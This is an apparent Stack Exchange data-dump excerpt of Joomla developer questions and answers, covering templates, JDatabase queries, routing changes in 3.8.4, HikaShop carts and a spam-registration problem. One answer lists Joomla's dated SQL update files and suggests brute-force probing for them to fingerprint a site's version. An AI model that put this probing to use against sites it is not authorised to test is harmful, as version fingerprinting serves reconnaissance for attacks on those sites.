  <row Id="22317" PostTypeId="1" AcceptedAnswerId="23285" CreationDate="2018-01-29T16:19:41.550" Score="0" ViewCount="171" Body="&lt;p&gt;It's been a few months and after a lot of searching and reading, I still don't know how to use Yootheme Pro in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did try to find a developer and pay just to get the template working on a basic level, but nobody seems to work with Joomla anymore so I'm stuck here and getting crazy, because I need to update the site and I get no support from Yootheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to add a Joomla page using builder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to enter a module with the latest articles in the home page. See the page &lt;a href=&quot;https://www.portal-gestao.com/home-baixo-2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how builder looks like:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VuIFK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VuIFK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating the module within builder from scratch and using an existing module but nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.8.3&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2018-08-06T16:43:34.587" Title="How to add a module in Yootheme Pro" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22318" PostTypeId="1" AcceptedAnswerId="22352" CreationDate="2018-01-29T17:25:56.717" Score="1" ViewCount="613" Body="&lt;p&gt;Can anyone shed any light on how to upgrade/make compliant an old Joomla 1.5 site. The site uses VM 1.1.4 with a legacy UPS shipping module however, this no longer seems to be supported by UPS. The minimum TLS version they will support is version 1.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any resources or suggestions would be most welcome. I'm googling but not finding anything related, likely due to the age of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-02-03T16:21:19.133" Title="TLS Version for Joomla" Tags="|virtuemart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22319" PostTypeId="1" AcceptedAnswerId="22321" CreationDate="2018-01-29T18:07:34.007" Score="1" ViewCount="88" Body="&lt;p&gt;This statement works: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;&#xA;SELECT COUNT(*) &#xA;FROM &quot; . $this-&amp;gt;s_createtableName . &quot; &#xA;WHERE tm BETWEEN UNIX_TIMESTAMP(DATE(NOW())) &#xA;AND UNIX_TIMESTAMP(DATE(NOW()) + INTERVAL 1 DAY)&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In trying to chain the query, this code fails on the &lt;code&gt;WHERE&lt;/code&gt; statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('COUNT(*)');&#xA;&#xA;$query-&amp;gt;from('. $this-&amp;gt;s_createtableName .');&#xA;&#xA;$query-&amp;gt;where(&quot;tm BETWEEN UNIX_TIMESTAMP(DATE(NOW())) AND UNIX_TIMESTAMP(DATE(NOW()) + INTERVAL 1 DAY)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="418" LastEditorUserId="126" LastEditDate="2018-01-30T20:11:36.413" LastActivityDate="2018-01-30T20:11:36.413" Title="What's the proper chaining for WHERE" Tags="|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22320" PostTypeId="1" CreationDate="2018-01-29T18:55:22.290" Score="1" ViewCount="41" Body="&lt;p&gt;How does the return value true or false affects other plugins of the same group? Does it prevent other plugins from executing when returning false?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2018-01-30T09:58:42.697" Title="How does plugins return value (boolean) affects other plugin in terms of execution?" Tags="|plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22321" PostTypeId="2" ParentId="22319" CreationDate="2018-01-29T18:57:32.527" Score="2" Body="&lt;p&gt;I recommend using quote the table name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try this. I guess you missed removing the dots in the from clause. If this does not work, please add the error message you get. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('COUNT(*)');&#xA;&#xA;$query-&amp;gt;from($this-&amp;gt;s_createtableName);&#xA;&#xA;$query-&amp;gt;where(&quot;tm BETWEEN UNIX_TIMESTAMP(DATE(NOW())) AND UNIX_TIMESTAMP(DATE(NOW()) + INTERVAL 1 DAY)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-01-29T18:57:32.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22322" PostTypeId="1" CreationDate="2018-01-29T22:39:22.383" Score="1" ViewCount="36" Body="&lt;p&gt;In a backend component, I have one table that does not have numeric ID numbers. It is instead indexed on a unique alphanumeric value (think like a list of U.S. territories indexed on abbreviation, e.g. 'AZ'). I am working on building a simple view to display and edit these records, but Joomla! strips off the non-numeric ID numbers, removing the &quot;id=&quot; part of the query string altogether when I attempt to edit a record. Where in the system does this occur and can we safely override it?&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2018-05-02T21:30:48.087" Title="Using a non-numeric ID in a backend component" Tags="|component|development|custom-component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22323" PostTypeId="2" ParentId="182" CreationDate="2018-01-30T02:49:00.580" Score="1" Body="&lt;p&gt;You can check the default files on the local/remote joomla installation at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/administrator/components/com_admin/sql/updates/sqlazure /administrator/components/com_admin/sql/updates/mysql /administrator/components/com_admin/sql/updates/postgresql&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These folders contains SQL updates which will help in fingerprinting the version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance: Joomla 3.8.3 will have all sql updates for previous versions till &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3.8.2-2017-10-14.sql&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;similarly, for version 3.4.3&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3.4.0-2015-02-26.sql&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;if you want to run brute-force to identify the version, following is the list of sql files you might want to run against:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.5.0-2011-12-06.sql&#xA;2.5.0-2011-12-16.sql&#xA;2.5.0-2011-12-19.sql&#xA;2.5.0-2011-12-20.sql&#xA;2.5.0-2011-12-21-1.sql&#xA;2.5.0-2011-12-21-2.sql&#xA;2.5.0-2011-12-22.sql&#xA;2.5.0-2011-12-23.sql&#xA;2.5.0-2011-12-24.sql&#xA;2.5.0-2012-01-10.sql&#xA;2.5.0-2012-01-14.sql&#xA;2.5.1-2012-01-26.sql&#xA;2.5.2-2012-03-05.sql&#xA;2.5.3-2012-03-13.sql&#xA;2.5.4-2012-03-18.sql&#xA;2.5.4-2012-03-19.sql&#xA;2.5.5.sql&#xA;2.5.6.sql&#xA;2.5.7.sql&#xA;3.0.0.sql&#xA;3.0.1.sql&#xA;3.0.2.sql&#xA;3.0.3.sql&#xA;3.1.0.sql&#xA;3.1.1.sql&#xA;3.1.2.sql&#xA;3.1.3.sql&#xA;3.1.4.sql&#xA;3.1.5.sql&#xA;3.2.0.sql&#xA;3.2.1.sql&#xA;3.2.2-2013-12-22.sql&#xA;3.2.2-2013-12-28.sql&#xA;3.2.2-2014-01-08.sql&#xA;3.2.2-2014-01-15.sql&#xA;3.2.2-2014-01-18.sql&#xA;3.2.2-2014-01-23.sql&#xA;3.2.3-2014-02-20.sql&#xA;3.3.0-2014-02-16.sql&#xA;3.3.0-2014-04-02.sql&#xA;3.3.4-2014-08-03.sql&#xA;3.3.6-2014-09-30.sql&#xA;3.4.0-2014-08-24.sql&#xA;3.4.0-2014-09-01.sql&#xA;3.4.0-2014-09-16.sql&#xA;3.4.0-2014-10-20.sql&#xA;3.4.0-2014-12-03.sql&#xA;3.4.0-2015-01-21.sql&#xA;3.4.0-2015-02-26.sql&#xA;3.5.0-2015-07-01.sql&#xA;3.5.0-2015-10-13.sql&#xA;3.5.0-2015-10-26.sql&#xA;3.5.0-2015-10-30.sql&#xA;3.5.0-2015-11-04.sql&#xA;3.5.0-2015-11-05.sql&#xA;3.5.0-2016-02-26.sql&#xA;3.5.0-2016-03-01.sql&#xA;3.5.1-2016-03-25.sql&#xA;3.5.1-2016-03-29.sql&#xA;3.6.0-2016-04-01.sql&#xA;3.6.0-2016-04-06.sql&#xA;3.6.0-2016-04-08.sql&#xA;3.6.0-2016-04-09.sql&#xA;3.6.0-2016-05-06.sql&#xA;3.6.0-2016-06-01.sql&#xA;3.6.0-2016-06-05.sql&#xA;3.6.3-2016-08-15.sql&#xA;3.6.3-2016-08-16.sql&#xA;3.7.0-2016-08-06.sql&#xA;3.7.0-2016-08-22.sql&#xA;3.7.0-2016-08-29.sql&#xA;3.7.0-2016-09-29.sql&#xA;3.7.0-2016-10-01.sql&#xA;3.7.0-2016-10-02.sql&#xA;3.7.0-2016-11-04.sql&#xA;3.7.0-2016-11-19.sql&#xA;3.7.0-2016-11-21.sql&#xA;3.7.0-2016-11-24.sql&#xA;3.7.0-2016-11-27.sql&#xA;3.7.0-2017-01-08.sql&#xA;3.7.0-2017-01-09.sql&#xA;3.7.0-2017-01-15.sql&#xA;3.7.0-2017-01-17.sql&#xA;3.7.0-2017-01-31.sql&#xA;3.7.0-2017-02-02.sql&#xA;3.7.0-2017-02-15.sql&#xA;3.7.0-2017-02-17.sql&#xA;3.7.0-2017-03-03.sql&#xA;3.7.0-2017-03-09.sql&#xA;3.7.0-2017-03-19.sql&#xA;3.7.0-2017-04-10.sql&#xA;3.7.0-2017-04-19.sql&#xA;3.7.3-2017-06-03.sql&#xA;3.7.4-2017-07-05.sql&#xA;3.8.0-2017-07-28.sql&#xA;3.8.0-2017-07-31.sql&#xA;3.8.2-2017-10-14.sql&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not give you the exact version but atleast helps you to identify the major version.&lt;/p&gt;&#xA;" OwnerUserId="12163" LastActivityDate="2018-01-30T02:49:00.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22324" PostTypeId="1" CreationDate="2018-01-30T08:57:01.527" Score="3" ViewCount="444" Body="&lt;p&gt;Is possible override a js file of a module in template?&#xA;The path of js file is modules/my_module/js/file.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank so much!&lt;/p&gt;&#xA;" OwnerUserId="12164" LastActivityDate="2018-01-30T11:15:41.357" Title="How to override a module js file" Tags="|joomla-3.x|php|overrides|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22325" PostTypeId="1" CreationDate="2018-01-30T09:57:35.123" Score="0" ViewCount="116" Body="&lt;p&gt;Is it possible to make a plugin which will get triggered by specific database events in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to watch the &lt;code&gt;$this-&amp;gt;getTable()&lt;/code&gt; request in Joomla. For eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = $this-&amp;gt;getTable();&#xA;if ($table-&amp;gt;load($id)).....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to catch this event to modify the &lt;code&gt;$table&lt;/code&gt; before &lt;code&gt;$table-&amp;gt;load($id)&lt;/code&gt; happens. The reason that I want to use a plugin doing, is that I don't want to do directly changes in the Joomla core code. My thoughts are that this could be possible with a plugin?&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="126" LastEditDate="2018-01-30T19:57:18.443" LastActivityDate="2018-01-30T19:57:18.443" Title="Custom Joomla plugin to catch specific database queries" Tags="|joomla-3.x|plugin|database|plugin-events|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22326" PostTypeId="2" ParentId="22320" CreationDate="2018-01-30T09:58:42.697" Score="1" Body="&lt;p&gt;The outcome of the plugin output will affect overall process flow but not other plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;onContentBeforeSave&lt;/code&gt; is a content event. If you return false, the article will not be saved and the error will be shown to the user.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;onContentAfterTitle&lt;/code&gt; returns a string value and it will be shown after article title.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, the execution of other plugins will not be affected by this return value.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2018-01-30T09:58:42.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22327" PostTypeId="2" ParentId="22307" CreationDate="2018-01-30T10:05:42.153" Score="0" Body="&lt;p&gt;All PHP crons are activated by an URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply determine which the task url for the cron you want to use and access by browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in the net exists a lot of solutions to externally activate crons (knowing the url).&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2018-01-30T10:05:42.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22328" PostTypeId="2" ParentId="22324" CreationDate="2018-01-30T11:15:41.357" Score="2" Body="&lt;p&gt;Both the following options should be reasonably future proof so the changes survive extension and Joomla updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1: Module Override&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you can override a JavaScript file but you could create a module override as per &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&lt;/a&gt; and replace the code where the JavaScript file is called with a call to an alternative JavaScript file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2: jQuery Easy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The free version of &lt;a href=&quot;https://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Easy&lt;/a&gt; can help with removing and adding scripts although it may depend on how the script is being loaded if jQuery Easy can help in this case or not.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-01-30T11:15:41.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22329" PostTypeId="2" ParentId="21950" CreationDate="2018-01-30T14:25:43.177" Score="0" Body="&lt;p&gt;Finally, I found a solution. In the module parameters, I added a parameter for selecting the target Menu then in the code I parse the menu items for the choosen Menu and select the menu item matching with the correct article.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2018-01-30T14:25:43.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22330" PostTypeId="1" CreationDate="2018-01-30T16:32:23.767" Score="1" ViewCount="96" Body="&lt;p&gt;I'm trying to get a &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;calendar form field&lt;/a&gt; to display without using XML. For previous versions, I called JHTML::_('behavior.calendar') and initialized it with Calendar.setup({args}) that would pass arguments like firstDay, size, ... and render a input type=text and a button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I wanted to add a check for versions &gt; 3.7 to include the new Joomla calendar that has time and all the fine things I need. The problem arises because that calendar's controls are dynamic, as in, a user can choose to display the showTime for example. But I can't even find any usable info on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with both Calendar.setup() and JoomlaCalendar.setup({}). That's throwing a function not defined. So I added jimport('joomla.html.html'). Didn't work. So I thought I'd maybe pass them as attributes to the call of calendar. Still didn't work.&#xA;For reference, I'm displaying the calendar with echo JHTML::_('calendar', defaultValue, name, id, $attributes), or however it goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any pointers.&lt;/p&gt;&#xA;" OwnerUserId="12166" LastActivityDate="2018-01-30T16:32:23.767" Title="Joomla Calendar for versions &gt;3.7" Tags="|joomla-3.x|form|calendar|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22331" PostTypeId="1" AcceptedAnswerId="22336" CreationDate="2018-01-30T16:52:47.800" Score="2" ViewCount="984" Body="&lt;p&gt;I have a custom component that handles generates a page containing a list of events, and a page giving details for the event. Previously, I would have one menu item setup to handle the list page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Code: JRoute::_('index.php?Itemid=102&amp;amp;component=com_event&amp;amp;view=events');`            &#xA;Result: /index.php?Itemid=102&amp;amp;option=com_event&amp;amp;view=events&#xA;SEF: /events&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To handle the url for the details of specific events, I would use simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Code: JRoute::_('index.php?component=com_event&amp;amp;view=event&amp;amp;id=1');&#xA;Result: /index.php?Itemid=102&amp;amp;option=com_event&amp;amp;view=event&amp;amp;id=1&#xA;SEF: /events/event/1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since Joomla 3.8.4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Code: JRoute::_('index.php?component=com_event&amp;amp;view=event&amp;amp;id=1');&#xA;Result: /index.php?option=com_event&amp;amp;view=event&amp;amp;id=1&#xA;SEF: /components/com_events/event/1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Itemid is no long included automatically. This creates an issue with the active check on menu items. Is there a way to fix this outside of editing every single instance of JRoute to manually include Itemid?&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2018-01-31T09:33:07.180" Title="JRoute::_('index.php') no longer adds Itemid since Joomla 3.8.4" Tags="|custom-component|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22332" PostTypeId="1" CreationDate="2018-01-30T17:24:19.350" Score="0" ViewCount="154" Body="&lt;p&gt;how clear hikashop cart session in every 5 miunuets?&#xA;when user add item in cart, if under 5 minutes , do not payment process , empty cart for user .&#xA;some code of hikashop  cart.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function addToCartFromFields(&amp;amp;$entriesData,&amp;amp;$fields){&#xA;    $this-&amp;gt;resetCart(false);&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    $productsToAdd = array();&#xA;    $coupons = array();&#xA;    foreach($entriesData as $entryData){&#xA;        foreach(get_object_vars($entryData) as $namekey=&amp;gt;$value){&#xA;            foreach($fields as $field){&#xA;                if($field-&amp;gt;field_namekey == $namekey){&#xA;                    $ok = false;&#xA;                    if(!empty($field-&amp;gt;field_options) &amp;amp;&amp;amp; !is_array($field-&amp;gt;field_options))&#xA;                        $field-&amp;gt;field_options = hikashop_unserialize($field-&amp;gt;field_options);&#xA;                    if(!empty($field-&amp;gt;field_options['product_id'])){&#xA;                        if(is_numeric($value) &amp;amp;&amp;amp; is_numeric($field-&amp;gt;field_options['product_value'])){&#xA;                            if( $value === $field-&amp;gt;field_options['product_value'] ){&#xA;                                $ok = true;&#xA;                            }&#xA;                        }elseif(is_string($value) &amp;amp;&amp;amp; !empty($field-&amp;gt;field_options['product_value']) &amp;amp;&amp;amp; is_array($field-&amp;gt;field_options['product_value']) &amp;amp;&amp;amp; in_array($value,$field-&amp;gt;field_options['product_value'])){&#xA;                            $ok = true;&#xA;                        }elseif($value == $field-&amp;gt;field_options['product_value']){&#xA;                            $ok = true;&#xA;                        }&#xA;&#xA;                        if($ok){&#xA;                            $id = $field-&amp;gt;field_options['product_id'];&#xA;                            if(empty($productsToAdd[$id])){&#xA;                                $productsToAdd[$id]=1;&#xA;                            }else{&#xA;                                $productsToAdd[$id]++;&#xA;                            }&#xA;                        }&#xA;                    }&#xA;&#xA;                    if($field-&amp;gt;field_type=='coupon' &amp;amp;&amp;amp; !empty($field-&amp;gt;coupon[$value])){&#xA;                        $coupons[] = $field-&amp;gt;coupon[$value];&#xA;                    }&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8683" LastActivityDate="2024-03-31T02:07:10.817" Title="clear hikashop cart session in varibile time" Tags="|joomla-3.x|session|hikashop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22336" PostTypeId="2" ParentId="22331" CreationDate="2018-01-31T09:17:37.037" Score="1" Body="&lt;p&gt;There seems to be a bug with the routing in Joomla 3.8.4 which is a known issue and is currently being discussed on Github, here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/19496&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/19496&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seem elsewhere that a quick fix (temporarily) is to replace the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libraries/src/Router/SiteRouter.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;with the one from Joomla &lt;strong&gt;3.8.3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a pull request here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/19498&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/19498&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-01-31T09:33:07.180" LastActivityDate="2018-01-31T09:33:07.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22337" PostTypeId="2" ParentId="22332" CreationDate="2018-01-31T09:20:00.657" Score="0" Body="&lt;p&gt;You can do it by the configuration options (version 3 of Hikashop):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hikashop -&gt; Configuration -&gt; Advanced -&gt; Advanced Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FVNID.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVNID.png&quot; alt=&quot;Configure cart retaining period&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11575" LastActivityDate="2018-01-31T09:20:00.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22339" PostTypeId="1" AcceptedAnswerId="22341" CreationDate="2018-01-31T18:11:44.787" Score="0" ViewCount="413" Body="&lt;p&gt;In Joomla registration form, how do I remove the optional fields?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mpfg4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpfg4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The User-Plugin is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2018-01-31T21:27:26.667" Title="How to remove optional fields from registration form" Tags="|user|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22340" PostTypeId="2" ParentId="16822" CreationDate="2018-01-31T19:19:52.523" Score="0" Body="&lt;p&gt;Most likely there is something wrong with your &lt;code&gt;#__content_types&lt;/code&gt; entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to register your content_types for your views, as described here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Using Tags in an Extension&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you need to be careful with the values of the fields of your content_types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically for saving tags into the &lt;code&gt;#__contentitem_tag_map&lt;/code&gt; table for your extension, the required fields for your content_type are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;type_id&lt;/code&gt;, &lt;code&gt;type_title&lt;/code&gt;, &lt;code&gt;type_alias&lt;/code&gt;, &lt;code&gt;table&lt;/code&gt;, &lt;code&gt;field_mappings&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From these fields make sure that the &lt;code&gt;type_alias&lt;/code&gt; and the &lt;code&gt;field_mappings&lt;/code&gt; contain valid data. For example a simple syntax error in &lt;code&gt;field_mappings&lt;/code&gt; would lead to errors, like the one you got.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-01-31T19:19:52.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22341" PostTypeId="2" ParentId="22339" CreationDate="2018-01-31T21:27:26.667" Score="0" Body="&lt;p&gt;These aren't fields that exist in the core registration form. You might have enabled a user profile plugin with custom profile fields, or you have replaced the core registration form with another one - could be a 3rd party extension you are using.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-01-31T21:27:26.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22343" PostTypeId="1" CreationDate="2018-02-01T03:19:25.810" Score="3" ViewCount="679" Body="&lt;p&gt;I am working with a Joomla 3.7.5 site. The registration scheme has always been admin activation from the start. Right now there is a constant deluge of fake Russian user accounts. They aren't getting activated, but the admin is getting spammed by the notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that sounds familiar, but this is different than the other Q/As I've seen here. I have also seen &lt;a href=&quot;https://vel.joomla.org/articles/1730-users-registering-without-a-registration-form-being-published&quot; rel=&quot;nofollow noreferrer&quot;&gt;this VEL article&lt;/a&gt; but it doesn't explain my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am overriding the core UsersModelRegistration and JMail classes. The JMail override is used to route all system emails through our email relay service. The UsersModelRegistration override is literally a copy of the original with one line added. At the very top of the &lt;code&gt;register&lt;/code&gt; function I am just immediately returning, instead of allowing the function to run. The reason for this is because our registration is now done via a custom component. With that modification it should effectively disabled registering in the normal Joomla way. &lt;strike&gt;In addition to that, I have added a modification to the com_users controller so it will redirect the register view to the custom registration component.&lt;/strike&gt; Update: I double-checked and this is how we are handling the redirect, also an override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute() {&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option', '');&#xA;        if ($app-&amp;gt;isSite() &amp;amp;&amp;amp; ($option == 'com_users' || $option == 'com_jsn')) {&#xA;            $task = $app-&amp;gt;input-&amp;gt;get('task', '');&#xA;            $acceptableTasks = array('registration.activate', 'user.login', 'user.logout');&#xA;            if (!in_array($task, $acceptableTasks)) {&#xA;                $db = JFactory::getDbo();&#xA;                $menusql = &quot;SELECT id FROM #__menu WHERE link LIKE '%com_my_custom_component&amp;amp;view=account%'&quot;;&#xA;                $db-&amp;gt;SetQuery($menusql);&#xA;                $menuItem = $db-&amp;gt;loadObject();&#xA;                $menuitemid = (!empty($menuItem)) ? $menuItem-&amp;gt;id : 0;&#xA;                $regLink = JRoute::_('index.php?option=com_my_custom_component&amp;amp;view=account&amp;amp;Itemid=' . $menuitemid);&#xA;                $app-&amp;gt;redirect($regLink);&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet, users are still being created without using the custom form. I can tell pretty easily because every registration on our form will created augmented records in another DB table. These spam users are all the most basic Joomla users. Side note: literally every one of these users I've looked into has a Russian IP address.) They create a user somehow. Since the admin is getting emails for these users, they must also be constructing the URL that verifies their email, although that has to include a hash token and how do they get that? If someone was able to upload a user creation script, why would they be thwarted by the admin activation process? Would they just keep going and get more access? This course of action is annoying, but not profitable or productive for any spammer/hacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced something like this?&lt;/p&gt;&#xA;" OwnerUserId="12176" LastEditorUserId="12176" LastEditDate="2018-02-01T16:43:06.660" LastActivityDate="2018-08-31T03:00:22.210" Title="Fake users created without using site registration form but still using overrides?" Tags="|user|security|joomla-3.7|registration|hacked|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
